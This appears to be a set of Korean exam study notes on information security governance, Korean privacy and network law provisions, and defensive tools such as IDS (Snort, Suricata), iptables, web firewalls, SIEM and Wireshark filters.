      • 출입통제
      • 정보시스템 보호
      • 보호설비 운영
      • 보호구역 내 작업
      • 반출입 기기 통제
      • 업무환경 보안
    • 인증 및 권한관리(6개)
    • 접근통제(7개)
    • 암호화 적용(2개)
    • 정보시스템 도입 및 개발 보안(6개)
    • 시스템 및 서비스 운영관리(7개)
    • 시스템 및 서비스 보안관리(9개)
    • 사고 예방 및 대응(5개)
    • 재해복구(2개)
  • 개인정보 처리단계별 요구사항(22개)
    • 개인정보 수집 시 보호조치(7개)
    • 개인정보 보유 및 이용 시 보호조치(5개)
    • 개인정보 제공 시 보호조치(4개)
    • 개인정보 파기 시 보호조치(3개)
    • 정보주체 권리보호(3개)

 

정보보호 거버넌스

: 조직(기업)의 정보 무결성, 서비스의 연속성, 정보자산의 보호를 위한 것으로 기업 거버넌스의 일환으로 전략적 방향을 제시하며 목적달성, 적절한 위험관리, 조직자산의 책임 있는 사용, 기업 보안 프로그램의 성공과 실패가 모니터링됨을 보장하는 것

  • Accountability(책임성): 정보보호는 다양한 이해관계자들의 요구를 만족시켜야 하며 이사회와 최고경영자의 정보보호 활동에 대한 역할과 책임이 명시되어야 한다.
  • Business Alignment(업무 연계성): 정보보호는 비즈니스 목표 및 전략과 연계되어야 하고 이를 기반으로 정보보호 투자를 정당화한다.
  • Compliance(준거성): 정보보호 요구사항은 조직 내부 요구사항과 외부의 관련법과 규정을 준수해야 하고 이에 대한 검토와 평가가 이루어져야 한다.

 

정보보호 최고책임자

: 기업의 정보통신시스템 등에 대한 보안 및 정보의 안전한 관리 등 정보보호 업무를 총괄해서 책임지는 자로 정보보호 계획의 수립/시행 및 개선, 정보보호 실태와 관행의 정기적인 감사 및 개선, 정보보호 위험 식별 평가 및 정보보호 대책 마련, 정보보호 교육과 모의 훈련 계획의 수립 및 시행 등의 역할을 수행한다.

 

정보통신망 이용촉진 및 정보보호 등에 관한 법률(약칭:정보통신망법)

: 정보통신망의 이용을 촉진하고 정보통신서비스를 이용하는 자를 보호함과 아울러 정보통신망을 건전하고 안전하게 이용할 수 있는 환경을 조성하여 국민생활의 향상과 공공복리의 증진에 이바지하는 것을 목적으로 한다.

제2조(정의)

(1) 이 법에서 사용하는 용어의 뜻은 다음과 같다. <개정 2004. 1. 29., 2007. 1. 26., 2007. 12. 21., 2008. 6. 13., 2010. 3. 22., 2014. 5. 28., 2020. 6. 9.>

  1. "정보통신망"이란 [전기통신사업법] 제2조제2호에 따른 전기통신설비를 이용하거나 전기통신설비와 컴퓨터 및 컴퓨터의 이용기술을 활요하여 정보를 수집/가공/저장/검색/송신 또는 수신하는 정보통신체제를 말한다.

제23조의2(주민등록번호의 사용 제한)

(1) 정보통신서비스 제공자는 다음 각 호의 어느 하나에 해당하는 경우를 제외하고는 이용자의 주민등록번호를 수집/이용할 수 없다.

  1. 제23조의3에 따라 본인확인기관으로 지정받은 경우
  2. 삭제 <2020.2.4>
  3. [전기통신사업법] 제38조제1항에 따라 기간통신사업자로부터 이동통신서비스 등을 제공받아 재판매하는 전기통신사업자가 제23조의3에 따라 본인확인기관으로 지정받은 이동통신사업자의 본인확인업무 수행과 관련하여 이용자의 주민등록번호를 수집/이용하는 경우

(2) 제1항제3호에 따라 주민등록번호를 수집/이용할 수 있는 경우에도 이용자의 주민등록번호를 사용하지 아니하고 본인을 확인하는 방법(이하 "대체수단"이라 한다)을 제공해야 한다.

제45조3(정보보호 최고책임자의 지정 등)

(4) 정보보호 최고책임자의 업무는 다음 각 호와 같다. <개정 2021. 6. 8.>

  1. 정보보호 최고 책임자는 다음 각 목의 업무를 총괄한다.

​ 가. 정보보호 계획의 수립/시행 및 개선

​ 나. 정보보호 실태와 관행의 정기적인 감사 및 개선

​ 다. 정보보호 위험의 식별 평가 및 정보보호 대책 마련

​ 라. 정보보호 교육과 모의 훈련 계획의 수립 및 시행

 

개인정보 보호법

제15조(개인정보의 수집/이용)

(1) 개인정보처리자는 다음 각 호의 어느 하나에 해당하는 경우에는 개인정보를 수집할 수 있으며 그 수집 목적의 범위에서 이용할 수 있다.

  1. 정보주체의 동의를 받은 경우
  2. 법률에 특별한 규정이 있거나 법령상 의무를 준수하기 위하여 불가피한 경우
  3. 공공기관이 법령 등에서 정하는 소관 업무의 수행을 위하여 불가피한 경우
  4. 정보주체와의 계약의 체결 및 이행을 위하여 불가피하게 필요한 경우
  5. 정보주체 또는 그 법정대리인의 의사표시를 할 수 없는 상태에 있거나 주소불명 등으로 사전 동의를 받을 수 없는 경우로서 명백히 정보주체 또는 제3자의 급박한 생명, 신체, 재산의 이익을 위하여 필요하다고 인정되는 경우
  6. 개인정보처리자의 정당한 이익을 달성하기 위하여 필요한 경우로서 명백하게 정보주체의 권리보다 우선하는 경우, 이 경우 개인정보처리자의 정당한 이익과 상당한 관련이 있고 합리적인 범위를 초과하지 아니하는 경우에 한한다.

(2) 개인정보처리자는 제1항제1호에 따른 동의를 받을 때에는 다음 각 호의 사항을 정보주체에게 알려야한다. 다음 각 호의 어느 하나의 사항을 변경하는 경우에도 이를 알리고 동의를 받아야 한다.

  1. 개인정보의 수집/이용 목적
  2. 수집하려는 개인정보의 항목
  3. 개인정보의 보유 및 이용 기간
  4. 동의를 거부할 권리가 있다는 사실 및 동의 거부에 따른 불이익이 있는 경우에는 그 불이익의 내용

제17조(개인정보의 제공)

(1) 개인정보처리자는 다음 각 호의 어느 하나에 해당되는 경우에는 정보주체의 개인정보를 제3자에게 제공(공유를 포함한다. 이하 같다)할 수 있다.

  1. 정보주체의 동의를 받는 경우
  2. 제15조제1항제2호/제3호 및 제5호에 따라 개인정보를 수집한 목적 범위에서 개인정보를 제공하는 경우

(2) 개인정보처리자는 제1항제1호에 따른 동의를 받을 때에는 다음 각 호의 사항을 정보주체에게 알려야 한다. 다음 각 호의 어느 하나의 사항을 변경하는 경우에도 이를 알리고 동의를 받아야 한다.

  1. 개인정보를 제공받는 자
  2. 개인정보를 제공받는 자의 개인정보 이용 목적
  3. 제공하는 개인정보의 항목
  4. 개인정보를 제공받는 자의 개인정보 보유 및 이용 기간
  5. 동의를 거부할 권리가 있다는 사실 및 동의거부에 따른 불이익이 있는 경우에는 그 불이익의 내용

제21조(개인정보의 파기)

(1) 개인정보처리자는 보유기간의 경과, 개인정보의 처리 목적 달성 등 그 개인정보가 불필요하게 되었을 때에는 지체 없이 그 개인정보를 파기하여야 한다. 다만, 다른 법령에 따라 보존하여야 하는 경우에는 그러하지 아니하다.

제22조(동의를 받는 방법)

(1) 개인정보처리자는 이 법에 따른 개인정보의 처리에 대하여 정보주체(제6항에 따른 법정대리인을 포함한다. 이하 이 조에서 같다)의 동의를 받을 때에는 각각의 동의 사항을 구분하여 정보주체가 이를 명확하게 인지할 수 있도록 알리고 각각 동의를 받아야 한다.

(6) 개인정보처리자는 만14세 미만 아동의 개인정보를 처리하기 위하여 이 법에 따른 동의를 받아야 할 때에는 그 법정대리인의 동의를 받아야 한다. 이 경우 법정대리인의 동의를 받기 위하여 필요한 최소한의 정보는 법정대리인의 동의 없이 해당 아동으로부터 직접 수집할 수 있다.

제23조(민감정보의 처리 제한)

(1) 개인정보처리자는 사상/신념, 노동조합/정당의 가입/탈퇴, 정치적 견해, 건강, 성생활 등ㅇ에 관한 정보, 그 밖에 정보주체의 사생활을 현저히 침해할 우려가 있는 개인정보로서 대통령령으로 정하는 정보(이하 "민감정보"라 한다)를 처리하여서는 아니 된다. 다만, 다음 각 호의 어느 하나에 해당하는 경우에는 그러하지 아니하다.

  1. 정보주체에게 제15조제2항 각 호 또는 제17조제2항 각 호의 사항을 알리고 다른 개인정보의 처리에 대한 동의와 별도로 동의를 받은 경우
  2. 법령ㅇ에서 민감정보의 처리를 요구하거나 허용하는 경우

(2) 개인정보처리자가 제1항 각 호에 따라 민감정보를 처리하는 경우에는 그 민감정보가 분실/도난/유출/위조/변조 또는 훼손되지 아니하도록 제29조에 따른 안전성 확보에 필요한 조치를 하여야 한다.

제24조2(주민등록번호 처리의 제한)

(1) 제24조제1항에도 불구하고 개인정보처리자는 다음 각 호의 어느 하나에 해당하는 경우를 제외하고는 주민등록번호를 처리할 수 없다

제25조(영상정보처리기기의 설치/운영 제한)

1) 설치 목적 및 장소
2) 촬영 범위 및 시간
3) 관리책임자의 성명 및 연락처
4) 그 밖에 대통령령으로 정하는 사항

제26조(위탁업무에 따른 개인정보의 처리 제한)

(1) 개인정보처리자가 제3자에게 개인정보의 처리 업무를 위탁하는 경우에는 다음 호의 내용이 포함된 문서에 의하여야 한다.

  1. 위탁업무 수행 목적 외 개인정보의 처리 금지에 관한 사항
  2. 개인정보의 기술적/관리적 보호조치에 관한 사항
  3. 그 밖에 개인정보의 안전한 관리를 위하여 대통령령으로 정한 사항

(2) 제1항에 따라 개인정보의 처리 업무를 위탁하는 개인정보처리자(이하 "위탁자"라 한다)는 위탁하는 업무의 내용과 개인정보 처리 업무를 위탁받아 처리하는 자(이하 "수탁자"라 한다)를 정보주체가 언제든지 쉽게 확인할 수 있도록 대통령령으로 정하는 방법에 따라 공개하여야 한다.

제29조(안전조치의무)

개인정보처리자는 개인정보가 분실/도난/유출/위조/변조 또는 훼손되지 아니하도록 내부 관리계획 수립, 접속기록 보관 등 대통령령으로 정하는 바에 따라 안정성 확보에 필요한 기술적/관리적 및 물리적 조치를 하여야 한다. <개정 2015. 7. 24.>

제30조(개인정보 처리방침의 수립 및 공개)

(1) 개인정보처리자는 다음 각 호의 사항이 포함된 개인정보의 처리 방침(이하 "개인정보 처리방침"이라 한다)을 정하여야 한다. 이 경우 공공기관은 제32조에 따라 등록대상이 되는 개인정보파일에 대하여 개인정보 처리방침을 정한다. <개정 2016. 3. 29., 2020. 2. 4.>

  1. 개인정보의 처리 목적
  2. 개인정보의 처리 및 보유 기간
  3. 개인정보의 제3자 제공에 관한 사항(해당되는 경우에만)
  4. 개인정보의 파기절차 및 파기방법(제21조제1항 단서에 따라 개인정보를 보존하여야 하는 경우에는 그 보존근거와 보존하는 개인정보 항목을 포함한다)
  5. 개인정보처리의 위탁에 관한 사항(해당되는 경우에만 정한다)
  6. 정보주체와 법정대리인의 권리/의무 및 그 행사방법에 관한 사항
  7. 제31조에 따른 개인정보 보호책임자의 성명 또는 개인정보 보호업무 및 관련 고충사항을 처리하는 부서의 명칭과 전화번호 등 연락처
  8. 인터넷 접속정보파일 등 개인정보를 자동으로 수집하는 장치의 설치/운영 및 그 거부에 관한 사항(해당하는 경우에만 정한다)
  9. 그 밖에 개인정보 처리에 관하여 대통령령으로 정한 사항

제34조(개인정보 유출 통지 등)

(1) 개인정보처리자는 개인정보가 유출되었음을 알게 되었을 때에는 지체 없이 해당 정보주체에게 다음 각 호의 사실을 알려야 한다.

  1. 유출된 개인정보의 항목
  2. 유출된 시점과 그 경위
  3. 유출로 인하여 발생할 수 있는 피해를 최소화하기 위하여 정보주체가 할 수 있는 방법 등에 관한 정보
  4. 개인정보주체에게 피해가 발생한 경우 신고 등을 접수할 수 있는 담당부서 및 연락처

제39조의8(개인정보 이용내역의 통지)

(1) 정보통신서비스 제공자 등으로서 대통령령으로 정하는 기준에 해당하는 자는 제23조, 제39조의3에 따라 수집한 이용자의 개인정보의 이용내역(제17조에 따른 제공을 포함한다)을 주기적으로 이용자에게 통지하여야 한다. 다만, 연락처 등 이용자에게 통지할 수 있는 개인정보를 수집하지 아니한 경우에는 그러하지 아니한다.

 

정보통신기반 보호법

: 전자적 침해행위에 대비하여 주요정보통신기반시설의 보호에 관한 대책을 수립/시행함으로써 동 시설을 안정적으로 운용하도록 하여 국가의 안전과 국민생활의 안정을 보장하는 것을 목적으로 한다.

제2조(정의)

: 이 법에서 사용하는 용어의 정의는 다음과 같다. <개정 2007. 12. 21.>

  1. "정보통신기반시설"이라 함은 국가안전보장/행정/국방/치안/금융/통신/운송/에너지 등의 업무와 관련된 전자적 제어/관리시스템 및 [정보통신망 이용촉진 및 정보보호 등에 관한 법률] 제2조제1항제1호의 규정에 의한 정보통신망을 말한다.
  2. "전자적 침해행위"라 함은 정보통신기반시설을 대상으로 해킹, 컴퓨터바이러스, 논리/메일폭탄, 서비스거부 또는 고출력 전자기파 등에 의하여 정보통신기반시설을 공격하는 행위를 말한다.

제8조(주요정보통신기반시설의 지정 등)

(1) 중앙행정기관의 장은 소관분야의 정보통신기반시설중 다음 각호의 사항을 고려하여 전자적 침해행위로부터의 보호가 필요하다고 인정되는 정보통신기반시설을 주요정보통신기반시설로 지정할 수 있다.

  1. 해당 정보통신기반시설을 관리하는 기관이 수행하는 업무의 국가사회적 중요성
  2. 기관이 수행하는 업무의 정보통신기반시설에 대한 의존도
  3. 다른 정보통신기반시설과의 상호연계성
  4. 침해사고가 발생할 경우 국가안전보장과 경제사회에 미치는 피해규모 및 범위
  5. 침해사고의 발생가능성 또는 그 복구의 용이성

제16조(정보공유/분석센터)

(1) 금융/통신 등 분야별 정보통신기반시설을 보호하기 위하여 다음 각호의 업무를 수행하고자 하는 자는 정보공유/분석센터를 구축/운영할 수 있다.

  1. 취약점 및 침해요인과 그 대응방안에 관한 정보 제공
  2. 침해사고가 발생하는 경우 실시간 경보/분석체계 운영

 

위치정보의 보호 및 이용 등에 관한 법률(약칭: 위치정보법)

: 위치정보의 유출/오용 및 남용으로부터 사생활의 비밀 등을 보호하고 위치정보의 안전한 이용화녕을 조성하여 위치정보의 이용을 활성화함으로써 국민생활의 향상과 공공복리의 증진에 이바지함을 목적으로 한다.

 

개인정보의 기술적/관리적 보호조치 기준

제2조(정의)

: 이 기준에서 사용하는 용어의 뜻은 다음과 같다.

  1. "내부관리계획"이라 함은 정보통신서비스 제공자등이 개인정보의 안전한 처리를 위하여 개인정보보호 조직의 구성, 개인정보취급자의 교육, 개인정보 보호조치 등을 규정한 계획을 말한다.
  1. "접속기록"이라 함은 이용자 또는 개인정보취급자 등이 개인정보처리시스템에 접속하여 수행한 업무 내역에 대하여 식별자, 접속일시, 접속지를 알 수 있는 정보, 수행업무 등 접속한 사실을 전자적으로 기록한 것을 말한다.

제4조(접근통제)

(3) 정보통신서비스 제공자 등은 개인정보처리시스템 접근 권한 부여, 변경 또는 말소에 대한 내역을 기록하고, 그 기록을 최소 5년간 보관한다.

(7) 정보통신서비스 제공자등은 이용자가 안전한 비밀번호를 이용할 수 있도록 비밀번호 작성규칙을 수립하고, 이행한다.

  1. 영문, 숫자, 특수문자 중 2종류 이상을 조합하여 최소 10자리 이상 또는 3종류 이상을 조합하여 최소 8자리 이상의 길이로 구성
  2. 연속적인 숫자나 생일, 전화번호 등 추측하기 쉬운 개인정보 및 아이디와 비슷한 비밀번호는 사용하지 않는 것을 권고
  3. 비밀번호가 제3자에게 노출되었을 경우 지체없이 새로운 비밀번호로 변경

(8) 정보통신서비스 제공자등은 개인정보취급자를 대상으로 다음 각 호의 사항을 포함하는 비밀번호 작성규칙을 수립하고, 이를 적용/운용하여야 한다.

  1. 영문, 숫자, 특수문자 중 2종류 이상을 조합하여 최소 10자리 이상 또는 3종류 이상을 조합하여 최소 8자리 이상의 길이로 구성
  2. 연속적인 숫자나 생일, 전화번호 등 추측하기 쉬운 개인정보 및 아이디와 비슷한 비밀번호는 사용하지 않는 것을 권고
  3. 비밀번호에 유효기간을 설정하여 반기별 1회 이상 변경

제5조(접속기록의 위/변조방지)

  • 정보통신서비스 제공자 등은 개인정보취급자가 개인정보처리시스템에 접속한 기록을 월1회 이상 정기적으로 확인/감독하며 시스템 이상 유무의 확인 등을 위해 최소 1년 이상 접속기록을 보존/관리하여야 한다.

제6조(개인정보의 암호화)

(1) 정보통신서비스 제공자등은 비밀번호는 복호화 되지 아니하도록 일방향 암호화하여 저장한다.

(2) 정보통신서비스 제공자등은 다음 각 호의 정보에 대해서는 안전한 암호알고리듬으로 암호화하여 저장한다.

  1. 주민등록번호
  2. 여권번호
  3. 운전면허번호
  4. 외국인등록번호
  5. 신용카드번호
  6. 계좌번호
  7. 생체인식정보

 

개인정보의 안정성 확보조치 기준

제5조(접근 권한의 관리)

  • 개인정보처리자는 개인정보처리시스템 접근 권한 부여, 변경 또는 말소에 대한 내역을 기록하고 그 기록을 최소 3년간 보관하여야 한다.

제6조(접근통제)

  • 고유식별정보를 처리하는 개인정보처리자는 인터넷 홈페이지를 통해 고유식별정보가 유출/변조/훼손되지 않도록 연1회 이상 취약점을 점검하고 필요한 보완 조치를 하여야 한다.

제8조(접속기록의 보관 및 점검)

(1) 개인정보처리자는 개인정보취급자가 개인정보처리시스템에 접속한 기록을 1년 이상 보관/관리하여야 한다. 다만, 5만명 이상의 정보주체에 관하여 개인정보를 처리하거나, 고유식별정보 또는 민감정보를 처리하는 개인정보처리시스템의 경우에는 2년 이상 보관/관리하여야 한다.

(2) 개인정보처리자는 개인정보의 오/남용, 분실/도난/유출/위조/변조 또는 훼손 등에 대응하기 위하여 개인정보처리시스템의 접속기록 등을 월1회 이상 점검하여야 한다. 특히 개인정보를 다운로드한 것이 발견되었을 경우에는 내부관리계획으로 정하는 바에 따라 그 사유를 반드시 확인하여야 한다

(3) 개인정보처리자는 개인정보취급자의 접속기록이 위/변조 및 도난, 분실되지 않도록 해당 접속기록을 안전하게 보관하여야 한다.

개인정보처리자

: 개인정보를 처리하는 모든 공공기관, 영리 목적의 사업자, 협회/동창회 등 비영리기관/단체, 개인 등을 말한다.

개인정보취급자

: 개인정보처리자의 지휘/감독을 받아 개인정보를 처리하는 업무를 담당하는 자로서 직접 개인정보에 관한 업무를 담당하는 자와 그 밖에 업무상 필요에 의해 개인정보에 접근하여 처리하는 모든 자를 말한다.

개인정보처리시스템

: 개인정보를 처리할 수 있도록 체계적으로 구성한 데이터베이스시스템

내부망

: 물리적 망분리, 접근통제 시스템 등에 의해 인터넷 구간에서의 접근이 통제 또는 차단되는 구간

비밀번호

: 정보주체 또는 개인정보취급자 등이 개인정보처리시스템, 업무용 컴퓨터 또는 정보통신망 등에 접속할 때 식별자와 함께 입력하여 정당한 접속 권한을 가진 자라는 것을 식별할 수 있도록 시스템에 전달해야 하는 고유의 문자열로서 타인에게 공개되지 않는 정보

접속기록

: 개인정보취급자 등이 개인정보처리시스템에 접속하여 수행한 업무내역에 대하여 개인정보취급자 등의 계정, 접속 일시, 접속지 정보, 처리한 정보주체 정보, 수행업무 등을 전자적으로 기록한 것을 말한다. 이 경우 "접속"이란 개인정보처리시스템과 연결되어 데이터 송신 또는 수신이 가능한 상태를 말한다.

 

가명정보 처리 가이드라인

가명처리

단계 설명
(1단계) 목적 설정 등 사전준비 가명처리 목적 설정, 처리대상 선정, 목적 적합성 검토, 안전조치, 서류작성 등
(2단계) 위험성 검토 대상 선정, 식별 위험성 검토, 이용/제공에 따른 검토
(3단계) 가명처리 항목별 가명처리 계획을 설정하고 가명처리를 수행
(4단계) 적정성 검토 필요서류, 목적 적합성, 식별 위험성, 가명처리 방법/수준, 가명처리, 목적 달성 가능성 등의 다양한 부분에서의 적정성 검토
(5단계) 안전한 관리 재식별 금지, 재식별 가능성 모니터링, 안전조치 시행, 가명정보 처리기솔작성/보관 등

침입탐지시스템(IDS: Intrusion Detection System)

기본 용어 ★

* 오용 탐지(misuse detection)

: 알려진 공격 행위에 대한 패턴(시그너처)을 등록하여 패턴에 일치하면 탐지하는 방식으로 상대적으로 오탐률이 낮은 장점이 있지만 알려지지 않은 새로운 공격을 탐지하지 못하는 단점이 있다.

* 이상 탐지(anomaly detection)

: 공격 패턴을 등록하는 방식이 아니라 정상 행위에 대한 정량적인 또는 통계적인 분석을 통해 이를 벗어난 행위에 대해 공격 행위로 탐지하는 방식으로 알려지지 않은 새로운 공격도 탐지할 수 있는 장점이 있지만 상대적으로 오탐률이 높은 단점이 있다.

* 오탐(false positive)

: 정상적인 행위를 비정상적인(공격) 행위로 탐지하는 오류

* 미탐(false negative)

: 비정상적인(공격) 행위를 정상적인 행위로 탐지하는 오류


호스트 기반 IDS(HIDS: Host based IDS)

  • 호스트에 설치되어 호스트 정보(호스트의 자원 사용 실태, 로그 등)를 수집하여 탐지 활동을 수행하는 IDS
  • 관리자 권한을 획득하거나 시스템을 변조하는 등의 내부 공격을 탐지
  • 예) 트립와이어(tripwire)

네트워크 기반 IDS(NIDS: Network based IDS)

  • 네트워크 트래픽(패킷)을 수집하여 탐지 활동을 수행하는 IDS
  • 취약점 스캐닝, 네트워크 공격 등을 탐지
  • 예) 스노트(Snort), 수리카타(Suricata)
스노트(Snort)
  • 단일 스레드

11('18), 13('19), 14('19), 17('21)

옵션 ★ 설명
msg 메시지 로깅 시 이벤트 명을 지정
content 페이로드에서 검사할 문자열을 지정
문자열은 text 형식일 수도 있고 binary 형식(헥사값)일 수 있으며 두 개가 복합된 형태일 수 있음
offset 페이로드에서 content 패턴을 검사할 시작 위치로 페이로드의 첫 번째 바이트 위치가 0부터 시작
depth 페이로드에서 content 패턴을 검사할 끝 위치
distance 이전 content 매칭 이후, 패턴 검사를 시작할 상대 위치
within 이전 content 매칭 이후, 패턴 검사를 끝낼상대 위치
nocase content 내용과 패킷 페이로드의 패턴 매칭 시 대소문자를 구별하지 않음
threshold threshold:type limit => 이벤트까지
threshold:type threshold => 이벤트마다
threshold:type both => 이벤트 시 한번

4('14)

* any any 의 경우 장비에 많은 부하를 발생시킴, 범위를 제한해서 부하를 낮출 필요가 있음

수리카타(Suricata)
  • 오픈소스 기반의 침입탐지시스템(IDS) 및 침입방지시스템(IPS)으로 스노트(Snort)를 기반으로 점을 개선하고 장점을 수용함
  • 멀티 코어 및 멀티 스레드 지원
  • 스노트(Snort) 룰 완벽 호환 및 대부분 기능을 지원
  • 하드웨어 벤더의 개발 지원으로 하드웨어 가속 지원
  • 스크립트 언어(Lua) 지원

보안 솔루션

NAC(Network Access Control) ★

: 기업/조직의 엔드포인트(Endpoint) 단말기가 내부 네트워크에 접속을 시도할 때 이를 제어하고 통제하는 역할을 하는 보안 솔루션으로 단말기에 대한 보안 무결성 점검, 네트워크 제어 및 통제 기능을 통해 내부 네트워크가 바이러스나 웜 등의 보안 위협으로부터 안전한 단말기들로 이루어질수 있도록 강제하는 기능을 수행

예) PacketFence, FreeNAC

인라인(inline) 방식

: 물리적인 네트워크 경로상에 위치하여 연결된 네트워크를 통과하는 모든 트래픽(패킷)이 장비를 거쳐가도록(통과하도록) 설치하는 모드

: [장점] 실제 트래픽(패킷)이 장비를 거쳐가기 때문에 실시간 탐지뿐만이 아니라 차단까지 가능함

: [단점] 물리적인 네트워크 경로상에 위치하기 때문에 네트워크 구성 변경이 필요하고 장비 장애 시 전체 네트워크 장애를 유발할 수 있음

미러링(mirroring) 방식

: 아웃오브패스(out-of-path) 방식이라고도 함

: 물리적인 네트워크 경로 밖에 위치하여 미러링 장비(패킷을 복제해주는 장비)로부터 복제된 트래픽(패킷)을 받아서 처리하도록 설치하는 모드

: [장점] 물리적인 네트워크 경로 밖에 위치하기 때문에 네트워크 구성 변경이 불필요하고 장비 장애 시 전체 네트워크 장애를 유발하지 않음

: [단점] 복제된 트래픽(패킷)을 받아서 탐지하기 때문에 실시간 차단이 어려움


iptables

: 패킷 필터링(Packet Filtering) 기능을 제공하는 리눅스 커널에 내장된 netfilter 기능을 관리하기 위한 툴로 룰(rule) 기반의 패킷 필터링 기능을 제공함

: 정책(룰셋)은 위에서 아래로 순차적으로 적용됨

18('21), 21('22)

옵션 설명
-A INPUT: inbound 트래픽(INPUT 체인)에 대한 룰 설정
-p tcp: TCP 패킷
--dport 목적지 포트
-m 확장 모듈
connlimit: 동일 출발지 IP의 동시 연결개수에 대한 제한 목적의 모듈
recent: 지정한 시간 범위 내 동일 출발지 IP의 연결 요청개수에 대한 제한 목적의 모듈
-j DROP: 패킷 차단 후 아무런 응답 메시지도 전송하지 않음
REJECT: 패킷 차단 후 ICMP 에러 메시지를 응답

패킷 필터링 장비

18('21)

ingress 필터링

: 외부에서 내부 네트워크로 들어오는 패킷에 대하여 출발지 IP를 체크하여 외부에 존재할 수 없는 IP(사설 IP, 루프백 IP 등 인터넷상에서 사용되지 않는 IP 대역)를 필터링 하는 기법

egress 필터링

: 내부에서 외부 네트워크로 나가는 패킷에 대해 출발지 IP를 체크하여 내부에서 관리(사용)하는 IP 주소(또는 IP 주소 대역)이 아니라면 조작된 주소로 판단하고 필터링하는 기법

Tiny Fragment 공격

: TCP/UDP 포트 정보가 포함되지 않을 정도로 최초의 IP 단편을 아주 작게 만들어 패킷 필터링 장비(방화벽, 침입탐지시스템 등)를 우회하기 위한(포트 기반의 탐지를 못하고 통과시키도록 하기 위한) 목적을 가지는 공격

Fragment Overlap 공격

: 첫 번째 단편은 패킷 필터링 장비에서 허용하는 포트번호를 사용하고 두 번째 단편에서는 offset을 조작해서 재조합될 때 공격자가 원하는 포트로 첫 번째 단편의 포트번호를 덮어쓰는 형태의 공격

상태 검사(Stateful Inspection) 패킷 필터링 방화벽

: 통과하는 모든 패킷에 대하여 프로토콜별 연결 상태(세션) 정보를 추적하여 허용된 연결 상태에 있는 패킷에 대해서는 추가적인 룰셋 검사 없이 모두 허용하고 연결을 가장하여 접근하는 패킷에 대해서는 차단할 수 있음


웹 방화벽

  1. CASTLE
    • 한국인터넷진흥원(KISA)에서 제공하는 공개 웹 방화벽
  2. WebKnight
    • AQTRONIX(아큐트로닉스)사에서 개발한 마이크로소프트(MS)사의 IIS 웹서버에서 동작하는 공개 웹 방화벽
    • ISAPI(Internet Server API) 필터 형태로 동작하며, IIS 웹서버 앞단에 위치하여 모든 웹 요청에 대해 필터 정책에 따라 웹 공격을 탐지 및 차단해주는 기능 제공
  3. ModSecurity
    • Trustwave(트러스트웨이브)사의 SPiderLabs에 의 해 개발된 Apache, IIS 등의 웹서버에서 동작하는 공개 방화벽
    • 웹 애플리케이션 공격에 대한 탐지 및 차단 기능뿐만이 아니라 웹 애플리케이션에 대한 실시간 모니터링 및 로그 분석 기능을 제공
    • 일반적으로 OWASP의 RuleSet 또는 Trustwave사의 SpiderLabs 상용 RuleSet 적용이 가능

EDR(Endpoint Detection Response)

: PC, 모바일, 서버 등 엔드포인트(Endpoint)에서 발생하는 악성 행위를 실시간으로 감지하고 이를 분석 및 대응하여 피해확산을 막는 솔루션(제품)

: 알려지지 않은 보안 위협에 대한 사전 대응과 보안 담당자에게 엔드포엔트에 대한 가시성을 제공


SIEM(Security Information & Event Management)

: ESM의 진화된 형태로 보안장비뿐만이 아니라 각종 서버 장비, 네트워크 장비, 애플리케이션 등 다양한 범위에서 발생하는 로그와 이벤트를 수집하여 빅데이터 기반의 상관관계 분석을 통해 위협을 사전에 차단하는 통합보안관제 솔루션

1) 데이터 통합: 다양한 원천에서 발생하는 보안 정보(이벤트, 로그 등)를 수집하여 통합

  • 정보(로그) 수집: 관리 대상 장비에 설치된 에이전트 또는 SNMP, syslog 방식 등을 이용하여 정보(로그) 수집
  • 정보(로그) 변환: 다양한 정보(로그) 표현방식을 표준 형식으로 변환하는 과정
    2) 상관관계 분석: 수집한 보안 정보를 유용한 정보로 만들기 위해 다양한 상관관계 분석 기능을 제공
  • 정보(로그) 분류: 이벤트 발생 누적 횟수 등 유사한 정보를 기준으로 그룹핑하여 단일 정보로 취합하는 과정
  • 정보(로그) 분석: 여러 개의 정보 간 연관성을 분석하는 과정
    3) 알림: 이벤트 발생 시 보안 담당자에게 자동으로 알림
    4) 대시보드: 분석한 결과에 대한 시각화, 조회 등의 기능을 제공

보안장비의 계정관리 취약점 측면에서 조치해야 할 사항

12('18)

  1. 보안장비 default 계정 변경
  2. 보안장비 default 패스워드 변경
  3. 보안장비 계정별 권한 설정
  4. 보안장비 계정 관리

사이버 위협 인텔리전스(CTI: Cyber Threat Intelligence)

: 단순한 위협 정보가 아닌 지능적 위협 정보를 말함

: 다양한 내/외부 조직에서 경험한 보안 위협 정보를 전문가 집단이 수집 및 분석하여 만들어 내는 증거 기반 위협 정보로 공격자, 공격 절차, 공격 방법(도구), 업무 영향도, 공격 탐지 및 대응 방법 등 다양한 정보를 포함

: SIEM, SOAR 등 보안관제(운영/관리) 솔루션에서 '사이버 위협 인텔리전스(또는 위협 인텔리전스)'와 연동하여 보안 위협의 분석 및 대응에 활용


사이버 위기 경보

: 국가사이버안전센터(NCSC: National Cyber Security Center)에서는 "국가사이버안전관리규정"에 의거 사이버공격에 체계적으로 대응하기 위해 파급영향, 피해 규모 등을 고려하여 수준에 따라 사이버 위기 경보를 발령

단계 설명
정상 전 분야 정상적인 활동 단계
관심 해외 사이버공격 피해가 확산하여 국내 유입이 우려되며 웜/바이러스, 해킹 등에 의한 피해 발생 가능성이 증가하고 있는 상황으로 사이버 위협 징후에 대한 탐지 활동 강화가 필요한 단계
주의 침해사고가 일부 기관에서 발생했거나 다수 기관으로 확산할 가능성이 증가하고 있는 상황으로 국가 정보시스템 전반에 보안 태세 강화가 필요한 단계
경계 침해사고가 다수 기관에서 발생했거나 대규모 피해로 발전될 가능성이 증가하고 있는 상황으로 다수 기관의 공조 대응이 필요한 단계
심각 침해사고가 전국적으로 발생했거나 피해 규모가 대규모인 사고가 발생한 상황으로 국가적 차원에서 공동 대처가 필요한 단계

Wireshark

필터(Filter)

캡처 필터(Capture Filter)

: 실시간 패킷을 캡처할 때 사용하는 필터로 BPF(Berkeley Packet Filter) 구문을 사용

디스플레이 필터(Display Filter)

: 캡처된 파일에서 원하는 패킷을 필터링할 때 사용하는 필터로 와이어샤크 고유한 구문을 사용

필터 구문 설명
dns.flags.response 0: 질의(query)
1: 응답(response)
dns.flags.authoritative 0: recursive 네임 서버의 캐시에 저장된 응답
1: authoritative 네임서버로부터의 응답
dns.flags.recdesired 0: 반복(iterative) 질의/응답
1: 재귀(Recursive) 질의/응답

보안 취약점 점검 도구

트립와이어(Tripwire)

: 파일시스템의 무결성을 점검하는 대표적인 도구로 오픈소스 도구

